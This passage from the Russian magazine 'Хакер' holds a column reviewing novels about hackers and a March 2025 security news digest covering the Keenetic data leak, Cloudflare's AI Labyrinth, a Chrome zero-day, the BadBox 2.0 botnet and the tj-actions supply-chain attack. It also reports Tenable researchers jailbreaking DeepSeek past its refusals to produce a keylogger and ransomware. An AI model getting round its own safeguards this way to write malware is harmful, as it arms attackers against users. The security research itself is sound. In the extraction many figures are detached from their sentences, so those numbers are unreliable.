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В прошлом месяце я пропустил колонку,
но у меня есть неплохое оправдание: вовсю
готовился ,
и уже скоро он уйдет в печать. Я очень рад,
что мы возвращаемся к  регулярной пуб‐
ликации номеров, пусть и  более редкой,
чем когда‑то. Сегодня же поговорим о дру‐
гом чтиве — книгах о хакерах.

третий спецвыпуск «Хакера»

Помимо « », за сюжетом которых я слежу вместе со всеми по мере
выхода новых глав, я успел в  этом году прочитать две книжки о  хакерах,
которые и хочу обсудить. Обе я читал на английском и сразу предупреждаю,
что русского перевода у них нет, и в ближайшее время он вряд ли появится.

Хакеров.RU

Первая книга  — «Attack Surface» Кори Доктороу. Возможно, ты слышал
это имя в связи с романом «Младший брат» (он, кстати, выходил и в переводе
тоже). Я же из  Доктороу раньше читал только «Down and  Out in  the Magic
Kingdom» и даже как‑то раз  об этой книге в «Хакере». Кстати, с тех пор
буйным цветом расцвели криптовалюты и  умные контракты, так что идея
общества, где валюта — это популярность, сейчас еще более актуальна.

писал

Но вернемся к «Attack Surface». Книга посвящена APT; ее героиня, американ‐
ка с  русскими корнями Маша Максимова, работает на  вымышленное
ИБ‑агентство, которое выполняет контракты спецслужб разных стран. Один
из  таких контрактов приводит Машу в  опять же вымышленную западноев‐
ропейскую страну Словстакию. Там параллельно с работой на госорганы она
завязывает знакомства в  местном подполье. Ну и  конечно, уже очень скоро
начинает ощущать нехилый конфликт интересов.

При этом Маша  — крутейший хакер, и  все свои проблемы она пытается
решать либо используя недюжинные аналитические способности, либо
непосредственно с  применением эксплоитов. Думаю, тебя такое описание
тут же наведет на  мысли о  всякой ерунде про  суперхакеров, которую так
любят показывать в  кино. Но  нет, Доктороу прекрасно знает, о  чем пишет!
Хакинг тут как  раз совсем не  вымышленный и  изображен как  минимум
не хуже, чем в знаменитом «Mr. Robot».

Параллельно автор неплохо справляется с  тем, чтобы объяснять важные
технические нюансы тем читателям, которые в  ИБ не  шарят. Что, где и  как
шифруется или  не шифруется, как  и что можно отследить, что такое  0-day-
эксплоиты и  так далее, и  так далее. Все очень доходчиво, и  я не  удивлюсь,
если кому‑то эта книга просто‑таки раскроет глаза на современные реалии.

Тем же, кто со всем перечисленным знаком, я вряд ли могу рекомендовать
«Attack Surface». Примерно после  50 (из  400) страниц крутой хакерский
экшен сменяется пространными воспоминаниями героини о своем прошлом,
где интересные моменты встречаются лишь изредка.

Затем фокус смещается на  моральные конфликты, но  при этом драма
автору дается гораздо хуже, чем разъяснение принципов асимметричной
криптографии. Так что роман не сказать, что удачный, и дочитывал я с некото‐
рым трудом — кстати, не в последнюю очередь ради обзора в этой колонке.

Переходим к  лоту номер два! Роман «Darkome» Ханну Райаниеми (автор
«Квантового вора» и двух продолжений) я жадно проглотил за одни выходные.
Завязка такая: в недалеком будущем почти все люди носят на себе гаджеты,
внутри которых скрыта мини‑лаборатория, способная секвенировать геном
и синтезировать молекулы разных веществ. Это решает огромное количество
проблем со здоровьем — они выявляются и лечатся буквально на ходу.

Но вот незадача: гаджеты эти полностью проприетарные и производит их
лишь одна компания. На  вид  — вполне обычная, с  благородной миссией,
стандартами, корпоративными политиками и всем прочим, что положено тех‐
ногиганту класса FAANG. Но  можно ли настолько доверяться одной, пусть
и  не самой страшной корпорации? Сообщество биохакеров под  названием
Darkome считает, что нельзя ни  в коем случае. Чудо‑гаджеты эти ребята
не  носят, пилят опенсорсные вакцины, а  заодно твикают свой геном, будто
речь о сборке ядра Linux.

Именно в этой тусовке и вращается героиня книги. Она страдает от ред‐
кого онкозаболевания, которое корпорация пока что лечить не  научилась
(рынок маловат!). Единственный шанс выжить  — спроектировать и  син‐
тезировать лекарство самостоятельно. Не буду раскрывать дальнейшие хит‐
росплетения сюжета, скажу лишь, что в  этой истории меня больше всего
покорило ее сходство с вполне жизненными проблемами обычных, не «био-»
хакеров.

Уязвимости, эксплоиты, защиты, багбаунти  — в  мире «Darkome» все
это связано с биологией, но Райаниеми смело пишет об этих вещах так, буд‐
то это  самый обычный софт. Впрочем, и  софта тоже касается: в  ход пошла
даже нашумевшая реальная  про то, как медицинскую программу ата‐
ковали при помощи молекулы ДНК, вызывавшей переполнение буфера.

история

Читается «Darkome» на одном дыхании, и единственное, что может расс‐
троить,  — это  то, что продолжения придется ждать еще  пару лет. Всего
в серии планируется три книги.

Ну и напоследок упомяну еще одну книжку — я пока только начал ее читать
и  впечатление составил лишь отчасти. Автор  — Нил Стивенсон; его роман
«Лавина» (Snow Crash) считается классикой киберпанка почти наравне
с «Нейромантом» Гибсона, а стивенсоновский барочный цикл знаменит тем,
что переплетает историю вычислительной техники с  ловко выдуманным
сюжетом и крутым экшеном.

Два года назад я  о предыдущей книге Стивенсона — «Fall; or,
Dodge in  Hell». Та занятно начиналась, но  вскоре сменила сюжетную колею
и  превратилась в  эпичную, но  невероятно нудную хронику переселения
человечества в  цифровой мир. Да, затея звучит довольно круто, но  читать
было невыносимо.

рассказывал

Новая книга называется «Polostan» и повествует об удивительной судьбе аме‐
риканской девушки, переехавшей в  СССР, на  родину своего отца. И, как  я
понял, собирается присоединиться к  советской женской сборной
по  поло  —  отсюда и  название. Книга переключается между Америкой
и Советским Союзом двадцатых и тридцатых годов.

Советская часть мне пока показалась не  особенно занимательной  —
на  русском о  той эпохе можно почитать и  что‑нибудь получше (развлекает
разве что следить за тем, как иностранный автор интерпретировал знакомые
реалии  — а  он старался изо всех сил). Зато Америка времен сухого закона
и Великой депрессии — сеттинг менее знакомый нам и более знакомый авто‐
ру, что гораздо лучше.

Чего в  «Полостане» нет и  не может быть по  историческим причинам, так
это  вычислительной техники. Увы, это  не новый «Криптономикон». Но  чита‐
ется пока что гораздо бодрее, чем «Fall...», так что поклонникам Стивенсона
стоит поинтересоваться.

На этом наше спонтанное книжное обозрение заканчивается. Впрочем,
если кто‑то захочет продолжить в комментариях — милости просим!

mailto:apismenny@gmail.com
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В этом месяце: у Keenetic утекли пользовательские данные,
Cloudflare запустила лабиринт для  ловли ИИ‑краулеров,
в GitHub Actions обнаружили каскадную атаку на цепочку пос‐
тавок, РКН предложил изменить законодательство после
DDoS-атаки на  провайдера Lovit, Android-ботнет BadBox
заразил более 500 тысяч устройств, а также другие интерес‐
ные и важные события прошедшего марта.

УТЕЧКА KEENETIC
Компания Keenetic, которая производит сетевое оборудование, предуп‐
редила пользователей, зарегистрировавшихся до  16  марта  2023  года,
о несанкционированном доступе к БД своего мобильного приложения.

Согласно сообщению в блоге компании, еще в середине марта 2023 года
независимый ИБ‑исследователь уведомил Keenetic о том, что БД официаль‐
ного мобильного приложения могла быть скомпрометирована. После про‐
верки специалисты убедились, что эксперт прав, и устранили проблему в тот
же день — 15 марта 2023 года.

Тогда исследователь заверил компанию, что не  передавал кому‑либо
обнаруженные данные и  уничтожил те образцы, к  которым получил доступ.
До  недавнего времени никаких других свидетельств компрометации БД
у компании не было.

Однако  28  февраля  2025  года компании стало известно, что часть
информации из  базы данных была раскрыта неназванному независимому
СМИ. Как  выяснилось позже, этим изданием было CyberNews. Журналисты
опубликовали  данных пользователей Keenetic, которые
в редакцию издания прислали анонимно по электронной почте. После этого
журналисты уведомили производителя об утечке, и компания выпустила офи‐
циальное предупреждение:

собственный анализ

«
»

Мы пришли к выводу, что больше не можем гарантировать, что данные были
должным образом уничтожены, и часть информации теперь может находить‐
ся вне нашего контроля, — заявили представители Keenetic. — Однако, учи‐
тывая характер данных, которые потенциально могли быть раскрыты, мы
полагаем, что риск вредоносных действий остается низким.

В Keenetic сообщили, что было раскрыто ограниченное количество полей БД,
а именно:

идентификаторы Keycloak;•
адреса электронной почты (логины) и имена учетных записей Keenetic;•
региональные настройки;•
конфигурации учетных записей пользователей устройств, включая хеши
паролей MD5 и NT;

•

кастомные имена KeenDNS;•
конфигурации сетевых интерфейсов, включая идентификаторы Wi-Fi SSID
и pre-shared-ключи;

•

настройки каналов Wi-Fi, идентификаторы и ключи роуминга;•
настройки политик IP и шейпинга трафика;•
адреса удаленных peer’ов, логины и  пароли VPN-клиентов, назначенные
IP-адреса;

•

имена и MAC-адреса зарегистрированных хостов;•
конфигурации IPsec site-to-site;•
конфигурации сервера IPsec Virtual IP;•
настройки пула DHCP;•
настройки NTP;•
списки доступа IP и MAC.•

Другие данные не  были раскрыты. В  частности, утечка не  коснулась данных
RMM, данных учетных записей Keenetic, приватных ключей, а  также кон‐
фигурации туннелей WireGuard VPN и данных OpenVPN.

Отдельно подчеркивалось, что Keenetic не собирает, не хранит и не ана‐
лизирует данные о  платежных картах или  связанных с  ними учетных данных,
транзакционных данных, банковских реквизитах или  банковских паролях. То
есть финансовые данные утечка тоже не затронула.

«

»

Массив данных включает учетные данные администраторов, обширные поль‐
зовательские данные, информацию о Wi-Fi, специфических настройках
устройств и сведения о сетях. Этот инцидент представляет серьезный риск
для конфиденциальности и безопасности, — предупредили журналисты
CyberNews. — Злоумышленники, получившие доступ к этим данным, могут
проникнуть в затронутые утечкой сети, отслеживать или перехватывать тра‐
фик, а также скомпрометировать дополнительные подключенные устрой‐
ства.

Большинство пострадавших от  этой утечки пользователей, по‑видимому,
находятся в России. Так, данные о локали помогли выявить 943 927 русско‐
язычных пользователей, 39 472 англоязычных и 48 384 турецкоязычных.

По утверждению анонимного источника CyberNews, суммарно утечка
включает:

 записей, которые содержат обширные данные о пользовате‐

лях: email-адреса, имена, локали, идентификаторы Keycloak, Network Order
ID, Telegram Code ID;

• 1 034 920

 запись с  подробной информацией об  устройствах: SSID

и пароли от Wi-Fi открытым текстом, модели устройств, серийные номера,
интерфейсы, MAC-адреса, доменные имена для внешнего доступа, ключи
шифрования и многое другое;

• 929  501

 запись о  конфигурациях устройств, включая данные о  доступе

пользователей, уязвимые перед  брутфорсом пароли с  хешированием
MD5, назначенные IP-адреса и расширенные настройки маршрутизатора;

• 558 371

исчерпывающие служебные логи, содержащие более 

записей, среди которых можно найти имена хостов, MAC-адреса, IP-адре‐
са, сведения о доступе и даже флаги owner_is_pirate.

• 53  869  785

Пользователям приложения Keenetic, чьи данные могли быть скомпромети‐
рованы, рекомендуется сменить следующие пароли и ключи:

пароли учетных записей устройств Keenetic ( );• инструкция
пароли Wi-Fi ( );• инструкция
пароли / предустановленные ключи VPN-клиентов для  PPTP/L2TP (

), L2TP/IPSec ( ), IPSec site-to-site ( ), SSTP
( ).

• инс‐
трукция инструкция инструкция
инструкция

Представители компании заверяют:

«
»

Мы твердо уверены, что несанкционированный доступ был осуществлен
без какого‑либо мошеннического или злого умысла и информация из базы
данных недоступна публично. Тем не менее соответствующее уведомление
было отправлено в государственный орган по защите данных.

Приносим извинения за любые неудобства и подтверждаем, что приняли
все необходимые меры для предотвращения подобных ситуаций в будущем.

 МИЛЛИОНА УТЕКШИХ ЗАПИСЕЙ24

По данным Роскомнадзора, за январь — февраль 2025 года в открытый доступ утекли 
 записей о россиянах.

24 мил-
лиона

Суммарно в ведомстве насчитали уже  утечек персональных данных и отметили, что по дан‐
ным фактам составлено пять протоколов об административном правонарушении.

19

Для сравнения: за весь 2024 год было зафиксировано  случаев утечек данных, в  которых
содержались более  записей о жителях РФ.

135
710 миллионов

ЛАБИРИНТ ДЛЯ ИИ
Компания Cloudflare анонсировала новую функцию под  названием
«ИИ‑лабиринт» (AI Labyrinth), которая направлена на борьбу с несанкциони‐
рованным сбором данных и предоставление ботам фальшивого ИИ‑контента.
Инструмент призван помешать ИИ‑компаниям, краулеры которых без  раз‐
решения посещают сайты и  собирают данные для  обучения больших язы‐
ковых моделей (LLM).

По данным Cloudflare, ИИ‑краулеры ежедневно генерируют более 50 мил‐
лиардов запросов к  сети компании, что составляет около  1% всего обра‐
батываемого трафика. Многие из таких краулеров собирают данные о сайтах
для обучения LLM без разрешения владельцев ресурсов, что уже стало при‐
чиной многочисленных судебных исков со  стороны создателей контента
и издателей.

Вместо простой блокировки ботов новая разработка Cloudflare замани‐
вает их в  специальный «лабиринт», состоящий из  правдоподобных,
но нерелевантных страниц, что приводит к  трате краулером вычислительных
ресурсов и  времени. В  компании объясняют, что обычная блокировка
ИИ‑ботов порой приводит к обратному результату, поскольку это лишь пре‐
дупреждает операторов краулеров о том, что они обнаружены:

«
»

Когда мы обнаруживаем несанкционированные краулеры, вместо блокиров‐
ки запроса мы даем им ссылку на серию сгенерированных ИИ страниц,
которые достаточно убедительны, чтобы заставить краулер пройти
по ним, — объясняют специалисты Cloudflare. — Несмотря на то что такой
контент выглядит правдоподобным, на самом деле он не связан с содер‐
жимым сайта, который мы защищаем, поэтому краулер впустую тратит время
и ресурсы.

Компания подчеркивает, что предоставляемый ботам контент намеренно
не имеет никакого отношения к исходным сайтам, но при этом он тщательно
проработан или  создан с  использованием реальных научных фактов (нап‐
ример, общей информации из  области биологии, физики или  математики),
чтобы избежать распространения дезинформации. Cloudflare подготавливает
такой контент с помощью собственного сервиса Workers AI.

При этом страницы‑ловушки и ссылки остаются невидимыми для обычных
посетителей и  недоступны им, чтобы люди не  наткнулись на  них случайно.
Фальшивые ссылки содержат соответствующие метадирективы, чтобы пре‐
дотвратить индексацию поисковыми системами, но  при этом остаются дос‐
тупны для ботов‑краулеров.

По сути, «ИИ‑лабиринт» представляет собой ханипот нового поколения,
ведь современные краулеры давно научились обнаруживать традиционные
ловушки и  ссылки, которые не  видят люди, но  могут обнаружить боты, пар‐
сящие HTML-код.

«
»

Ни один живой человек не станет углубляться на четыре ссылки в лабиринт
сгенерированной искусственным интеллектом чепухи, — пишут разработ‐
чики Cloudflare. — Любой посетитель, который это сделает, с большой веро‐
ятностью окажется ботом, так что это дает нам совершенно новый инстру‐
мент для выявления и фингерпринтинга плохих ботов.

Отметим, что инженеры Cloudflare  — не  первые, кто придумал создавать
лабиринты и хитроумные ловушки для ИИ‑краулеров. В начале текущего года
мы рассказывали о   , авторы которых задались
целью создать ИИ‑компаниям как  можно больше сложностей и  защитить
свои ресурсы и данные от агрессивных краулеров.

нескольких похожих проектах

К примеру, автор проекта  описывает свое детище
как агрессивное и умышленно вредоносное ПО, предупреждая, что владель‐
цам сайтов не стоит использовать его, если им не нравится ловить ИИ‑кра‐
улеры и  отправлять их в  «бесконечный лабиринт» из  статичных файлов
без ссылок на выход, где они могут «застрять и бродить» месяцами.

Nepenthes

В отличие от  создателя Nepenthes, Cloudflare позиционирует
«ИИ‑лабиринт» как  законную защитную функцию, которой может восполь‐
зоваться любой клиент.

Сообщается, что AI Labyrinth планируется доработать таким образом, что‐
бы фальшивый контент стало сложнее обнаруживать, а поддельные страницы
более органично вписывались в структуру сайтов.

СТОИМОСТЬ ДАННЫХ В ДАРКНЕТЕ
Аналитики Positive Technologies изучили в даркнете около  объявлений, связанных с утеч‐
ками информации в мире, опубликованных во второй половине 2024 года.
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Несмотря на относительно высокий уровень защищенности,  вхо‐
дят в топ-3 в России и других странах СНГ по числу публикаций в даркнете, связанных с утеч‐
ками.

финансовые организации

Данные компаний финансового сектора пользуются спросом в объявлениях как о продаже, так
и  о покупке. Чаще всего упоминаются персональные данные ( ), данные платежных карт
( ) и учетные данные ( ).
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Также утечки информации из финансовых организаций лидируют среди объявлений о продаже
со  стоимостью более  долларов. Так, каждое пятое объявление ( ) в  этом
ценовом сегменте приходится на финансовый сектор, за которым следуют IT-компании ( )
и госучреждения ( ).

10  тысяч 21%
17%

17%

ОПЕРАЦИЯ
«ФОРУМНЫЙ
ТРОЛЛЬ»
Разработчики Google Chrome исправили уязвимость нулевого дня (CVE-
2025-2783), которая позволяла осуществить побег из  песочницы браузера.
Проблему выявили специалисты «Лаборатории Касперского», которые сооб‐
щили, что уязвимость была связана с  APT-операцией «Форумный тролль»,
использовавшей цепочку эксплоитов нулевого дня.

В середине марта 2025 года исследователи обнаружили волну заражений
ранее неизвестным сложным вредоносным ПО. Заражение происходило сра‐
зу после того, как жертва открывала ссылку из фишингового письма в браузе‐
ре Google Chrome, и  никаких дополнительных действий от  пользователя
не требовалось.

Отмечается, что все вредоносные ссылки были персонализированы
и  имели очень короткий срок «жизни», однако исследователи сумели иден‐
тифицировать 0-day-эксплоит, который использовался для побега из песоч‐
ницы Google Chrome.

Анализ кода эксплоита и  логики его работы показал, что он основан
на уязвимости нулевого дня (присутствующей в том числе в последней вер‐
сии Chrome), после чего эксперты уведомили о  баге команду безопасности
Google. 25  марта  2025  года разработчики браузера ,
исправляющее уязвимость.

выпустили обновление

Исследователи пишут, что этот эксплоит был одним из самых интересных
среди всех, с  которыми им доводилось сталкиваться. А  уязвимость CVE-
2025-2783  заставила их поломать голову, так как  позволяла легко обойти
защиту песочницы Google Chrome без  каких‑либо очевидно вредоносных
или запрещенных действий, будто ее вообще не существовало.

Причиной оказалась логическая ошибка на  стыке песочницы и  операци‐
онной системы Windows, и  технические подробности будут опубликованы
«Лабораторией Касперского» после того, как  большинство пользователей
установят обновленную версию браузера с патчем (134.0.6998.177/.178).

Эксперты рассказывают:

«
»

Наше исследование еще продолжается, но, судя по функциональности
сложного вредоносного ПО, использованного в атаке, целью злоумыш‐
ленников был шпионаж. Вредоносные письма содержали приглашения
от лица организаторов научно‑экспертного форума 
и были нацелены на средства массовой информации, образовательные
учреждения и правительственные организации в России. Мы назвали эту
кампанию „Форумный тролль“, опираясь на тематику писем.

„Примаковские чтения“

Вредоносное письмо

Подчеркивается, что на  момент публикации отчета вредоносная ссылка
не  вела на  эксплоит, а  перенаправляла посетителей на  официальный сайт
Примаковских чтений, но  исследователи настоятельно не  рекомендуют
переходить по вредоносной ссылке.

Обнаруженный эксплоит был разработан для  запуска вместе с  допол‐
нительным эксплоитом, позволяющим удаленно выполнять код. К сожалению,
получить этот второй эксплоит специалистам не удалось.

В компании объясняют:

«
»

Мы могли бы это сделать, но тогда пришлось бы дожидаться новой волны
атак и подвергать пользователей риску заражения. Исправление для уяз‐
вимости побега из песочницы предотвращает использование всей цепочки
для дальнейших атак.

Все изученные на данный момент артефакты указывают на высокий техничес‐
кий уровень злоумышленников, поэтому аналитики утверждают, что за  этой
атакой стоит некая «продвинутая и спонсируемая государством APT-группа».

ПАВЕЛ ДУРОВ ПОКИНУЛ ФРАНЦИЮ
С разрешения суда основатель Telegram покинул Францию, где находился с августа прошлого
года. Тогда Дурова задержали в  аэропорту Ле Бурже и  предъявили обвинения, связанные
с различными преступлениями, выявленными на платформе (включая педофилию, отмывание
денег и незаконный оборот наркотиков).

Французские правоохранители заявляли, что команда Telegram не  борется с  незаконным
контентом и не сотрудничает с властями.

Вот, что об этом пишет Дуров в своем официальном Telegram-канале:

→ Как вы, возможно, слышали, я вернулся в Дубай после нескольких месяцев,
проведенных во Франции, в связи с расследованием активности преступников
в Telegram. Процесс продолжается, но мне очень приятно вернуться домой.

Я хочу поблагодарить следственных судей за то, что они разрешили это сде‐
лать, а также моих адвокатов и команду за их неустанные усилия и демонстра‐
цию того, что, когда дело доходит до модерации, сотрудничества и борьбы
с преступностью, Telegram на протяжении многих лет не только выполнял, но и
превышал свои юридические обязательства.

Также я глубоко признателен миллионам людей по всему миру, которые ока‐
зали нам поддержку в этом неожиданном испытании. Это очень много значит.
Нет ничего, что не смогло бы преодолеть наше миллиардное сообщество.

Продолжение статьи
→
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НОВАЯ ВОЛНА
BADBOX
ИБ‑эксперты продолжают бороться с  ботнетом BadBox, в  который входят
различные Android-устройства: ТВ‑приставки, планшеты, умные телевизоры
и смартфоны. На этот раз из официального магазина Google Play были уда‐
лены сразу  24  вредоносных приложения, а  также удалось осуществить
sinkhole и блокировать малварь на 500 тысячах зараженных устройств.

BadBox представляет собой малварь для  Android, основанную на  коде
вредоносного семейства Triada. Зачастую вредонос может предустанав‐
ливаться на  бюджетные устройства прямо «из коробки» или  заражать их
через вредоносные приложения и прошивки.

Малварь используется для кражи данных, установки дополнительного вре‐
доносного ПО, а  также позволяет злоумышленникам получить удаленный
доступ к сети, в которой находится зараженный гаджет.

Кроме того, BadBox способен воровать коды двухфакторной аутентифика‐
ции, устанавливать другие вредоносные программы, создавать новые email-
аккаунты и  учетные записи в  мессенджерах для  распространения фейковых
новостей. Операторы BadBox связаны с  рекламным мошенничеством,
а зараженные гаджеты порой используются в качестве резидентных прокси.

В начале декабря  2024  года немецкие правоохранители попытались 
 часть ботнета BadBox. Но вскоре исследователи из компании

BitSight , что эта операция не сильно повлияла на его работу. Так,
уже в  конце декабря ботнет снова насчитывал более  192  тысяч зараженных
устройств по всему миру.

вы‐
вести из строя

сообщили

С тех пор BadBox разросся еще больше и теперь насчитывает более мил‐
лиона зараженных устройств на  базе Android. Большинство пострадавших
гаджетов находятся в  Бразилии (37,6%), США (18,2%), Мексике (6,3%)
и Аргентине (5,3%).

Новую операцию по  борьбе с  ботнетом возглавили специалисты ком‐
пании Human Security в  сотрудничестве с  Google, Trend Micro,
The Shadowserver Foundation и другими экспертами.

В связи с  резким увеличением размеров ботнета теперь исследователи
называют его BadBox 2.0, чтобы обозначить новую веху в его работе.

«
»

Эта кампания затронула более миллиона потребительских устройств. Среди
устройств, вошедших в ботнет BadBox 2.0, были бюджетные, небренди‐
рованные и несертифицированные планшеты, ТВ‑приставки, цифровые про‐
екторы и так далее, — сообщают в Human Security. — Зараженные устрой‐
ства представляют собой решения на базе Android Open Source Project, а не
устройства на базе Android TV ОС или сертифицированные Play Protect. Все
они производятся в материковом Китае и поставляются по всему миру.

Эксперты обнаружили доказательства того, что этот ботнет обслуживают
и поддерживают сразу несколько хакерских групп, у каждой из которых собс‐
твенная роль и цели. Среди них: SalesTracker (управление инфраструктурой),
MoYu (разработка бэкдора и  ботнета), Lemon (рекламные мошеннические
кампании) и LongTV (разработка вредоносных приложений).

Зараженные BadBox Android-устройства регулярно подключаются к  кон‐
тролируемым злоумышленниками управляющим серверам, чтобы получить
новые настройки конфигурации и команды для выполнения.

Специалисты Human Security и The Shadowserver Foundation осуществили
sinkhole ряда доменов ботнета, что позволило нарушить связь с управляющи‐
ми серверами для  500  тысяч зараженных устройств. Так как  эти устройства
больше не  могут связаться с  серверами хакеров, малварь на  них перешла
в спящий режим и теперь неактивна.

Более того, аналитики выявили в  официальном магазине Google Play
24  приложения, которые устанавливали BadBox на  Android-устройства.
Некоторые из них (включая Earn Extra Income и Pregnancy Ovulation Calculator
от Seekiny Studio) насчитывали более 50 тысяч загрузок.

Специалисты Google удалили вредоносные приложения из  Google Play
и добавили в Play Protect правило, предупреждающее пользователей и бло‐
кирующее установку приложений, связанных с BadBox 2.0.

Также были удалены аккаунты издателей, которые занимались рекламным
мошенничеством, связанным с BadBox, что не позволит им получать монети‐
зацию через Google Ads.

Однако Google не  может удалить малварь с  Android-устройств, не  име‐
ющих сертификации Play Protect. Поэтому, хотя работа BadBox 2.0  была
нарушена, ботнет нельзя назвать ликвидированным.

Вот список устройств, которые пострадали от заражения BadBox или выс‐
тупают целью для перечисленных выше хакерских групп.

Так как получить чистую прошивку для этих устройств вряд ли удастся, их вла‐
дельцам настоятельно рекомендуется заменить гаджеты проверенными про‐
дуктами известных брендов или хотя бы отключить их от интернета.

ОТКАЗ ОТ ПАРОЛЕЙ
«Лаборатория Касперского», а  также специалисты «Почта Mail» и  «Hi-Tech Mail» выяснили,
как  люди относятся к  беспарольным способам авторизации  — одноразовым и  QR-кодам,
использованию отпечатков пальца или скана лица и другим способам для входа в аккаунты.

Более  российских пользователей готовы отказаться от традиционных паролей и исполь‐
зовать беспарольные методы аутентификации:  — для важных аккаунтов,  — для неваж‐
ных, а   — для всех учетных записей.

трети
12% 9%

16%

Беспарольный метод аутентификации для  всех аккаунтов, где это  возможно, уже использует
 опрошенных. Еще   отметили, что применяют его только для важных сервисов, нап‐

ример в мессенджерах, почте, банковских приложениях.
31% 27%

 пользователей придерживаются мнения, что использование паролей менее удобно,
но зато более безопасно.
19%

DEEPSEEK ПИШЕТ
МАЛВАРЬ
Исследователи из  компании Tenable изучили способность китайского ИИ
чат‑бота DeepSeek разрабатывать вредоносные программы (кейлоггеры
и вымогатели).

DeepSeek R1  в январе текущего года и с тех пор успел наделать
немало шума, в том числе из‑за своей .

появился
восприимчивости к джейлбрейку

Как и  все крупные LLM, DeepSeek имеет защитные механизмы, приз‐
ванные предотвратить использование в  злонамеренных целях, например
с  целью создания вредоносных программ. Однако эти запреты можно
довольно легко обойти.

Когда DeepSeek напрямую просят написать код для кейлоггера или прог‐
раммы‑вымогателя, он отказывается это  сделать, утверждая, что не  может
помогать с тем, что может оказаться вредоносным или незаконным.

Однако специалисты Tenable использовали джейлбрейк, чтобы обмануть
чат‑бота и вынудить его написать вредоносный код, а для улучшения резуль‐
татов использовали CoT-возможности DeepSeek (chain-of-thought).

Когда исследователи использовали DeepSeek для  создания кейлоггера,
ИИ разработал план выполнения задачи, а затем подготовил код на C++. Код
был написан с ошибками, и чат‑бот не смог исправить некоторые из них, что‐
бы создать полнофункциональную малварь без вмешательства человека.

Однако после нескольких изменений код кейлоггера, сгенерированный
DeepSeek, заработал, перехватывая нажатия клавиш пользователя. Затем
исследователи использовали DeepSeek для  дальнейшего усовершенство‐
вания полученной малвари, в частности для достижения большей скрытности
и шифрования ее логов.

Что касается разработки вымогателя, сначала DeepSeek описал весь про‐
цесс, а  затем ему удалось сгенерировать несколько образцов малвари
для шифрования файлов, однако ни один из них не компилировался без руч‐
ного редактирования кода.

В результате исследователи сумели добиться того, что некоторые
образцы малвари заработали. Вредонос обладал механизмами для перечис‐
ления файлов и закрепления в системе, а также отображал диалоговое окно,
информирующее жертву о том, что она подверглась атаке шифровальщика.

Эксперты Tenable заключают:

«

»

По сути, DeepSeek способен создавать базовую структуру для вредоносного
ПО. Однако он неспособен сделать это без дополнительного промпт‑инжи‐
ниринга и ручного редактирования кода для получения более продвинутых
функций. Например, DeepSeek не справился с реализацией сокрытия про‐
цессов. Нам удалось заставить работать сгенерированный им код DLL-инъ‐
екции, но это потребовало много ручной работы.

Тем не менее DeepSeek предоставляет полезную подборку техник
и поисковых терминов, которые могут помочь человеку, не имеющему опыта
в написании вредоносного кода, быстро ознакомиться с соответствующими
концепциями.

 МИЛЛИОНОВ ДОЛЛАРОВ ИССЛЕДОВАТЕЛЯМ12

В прошлом году компания Google выплатила  ИБ‑исследователям  дол‐
ларов в качестве вознаграждения за найденные ими уязвимости.

660 11,8  миллиона

Суммарно с момента запуска первой программы вознаграждения за уязвимости (Vulnerability
Reward Program) в 2010 году Google выплатила специалистам свыше  долларов
в качестве вознаграждения за баги.

65 миллионов

К примеру, эксперты, сообщавшие об уязвимостях в Android и мобильных приложениях Google,
получили  долларов, а количество сообщений о критических и серьезных ошиб‐
ках увеличилось на фоне снижения общего числа багов.

3,3 миллиона

Еще  137  исследователей, сообщавших о  проблемах в  Chrome, получили вознаграждения
на общую сумму  долларов.3,4 миллиона

Наибольшее вознаграждение 2024  года составило  долларов, и  эта сумма была вып‐
лачена за обнаруженную проблему обхода MiraclePtr.

100 115

Интересно, что в рамках новой bug bounty программы по поиску ИИ‑ошибок компания получила
больше  сообщений от специалистов и в итоге выплатила им свыше  долларов
за различные баги.

150 55 тысяч

ВЗЛОМ TJ-ACTIONS/
CHANGED-FILES
В середине марта  компрометация пакета tj-
actions/changed-files, который входит в  состав tj-actions. Это  один из  мно‐
гочисленных GitHub Actions на  одноименной платформе, предоставляющей
бесплатную систему CI/CD для  публичных репозиториев. Обработчик
changed files использовался в  23  тысячах репозиториев, и  злоумышленники
попытались применить его для кражи конфиденциальных данных.

была обнаружена

После взлома вредоносный код должен был записывать CI/CD-секреты
в  журналы рабочих процессов для  всех  23  тысяч репозиториев, исполь‐
зующих tj-actions/changed-files. Если эти логи были публичными, их мог прос‐
мотреть любой желающий.

Мейнтейнер проекта сообщал, что злоумышленники неизвестным обра‐
зом скомпрометировали его токен персонального доступа (personal access
token, PAT) на  GitHub и  учетные данные, с  помощью которых @tj-actions-bot
получал привилегированный доступ к репозиторию.

Позже аналитики из компании Wiz , что им удалось разобраться
в  произошедшем. Исследователи назвали случившееся каскадной атакой
на цепочку поставок и рассказали, что она началась с другого GitHub Action —
reviewdog/action-setup.

сообщили

По данным Wiz, сначала злоумышленники скомпрометировали тег
v1 для reviewdog/action-setup и внедрили в пакет аналогичный код для записи
секретов CI/CD в лог‑файлы.

Поскольку tj-actions/eslint-changed-files использует reviewdog/action-setup,
предполагается, что скомпрометированный Action применялся для  извле‐
чения и кражи персонального токена PAT, затем использованного для доступа
к tj-actions.

Злоумышленники внедряли в  файл install.sh полезную нагрузку, закоди‐
рованную Base64, что в  итоге приводило к  утечке секретов из  затронутых
рабочих процессов CI. Как и в случае с tj-actions, раскрытые секреты в итоге
отображались в публичных репозиториях как часть логов.

Хотя точный способ взлома не  был установлен, специалисты писали, что
reviewdog имеет большую базу мейнтейнеров и принимает новых участников
через автоматические приглашения, что значительно увеличивает риски
и количество возможностей для взлома.

Как сообщали специалисты Endor Labs, компрометация tj-
actions/changed-files затронула лишь небольшой процент из  23  тысяч про‐
ектов, использующих обработчик. Так, только 218 репозиториев действитель‐
но раскрыли секреты и допустили утечки в результате этой атаки.

В большинстве случаев утечка затронула только токены GitHub, срок дей‐
ствия которых составляет 24 часа. То есть у злоумышленников было весьма
короткое окно для возможной эксплуатации. Однако в некоторых случаях все
же произошла утечка учетных данных для  DockerHub, npm и  AWS, что несет
более серьезные риски.

Затронутые утечкой секреты

При этом  об  этой атаке, опубликованные Palo Alto Unit
42 и Wiz, показали, что исходно она была нацелена на проекты криптовалют‐
ной биржи Coinbase. В  частности, был атакован популярный фреймворк
Coinbase — coinbase/agentkit, позволяющий ИИ‑агентам взаимодействовать
с блокчейном.

углубленные отчеты

Представители Coinbase сообщили, что эта попытка компрометации
не  увенчалась успехом и  не нанесла никакого ущерба проекту agentkit
или другим ресурсам биржи.

В итоге эксперты пришли к выводу, что изначально вредоносная кампания
была нацелена на  Coinbase и  лишь потом, после провала первой попытки
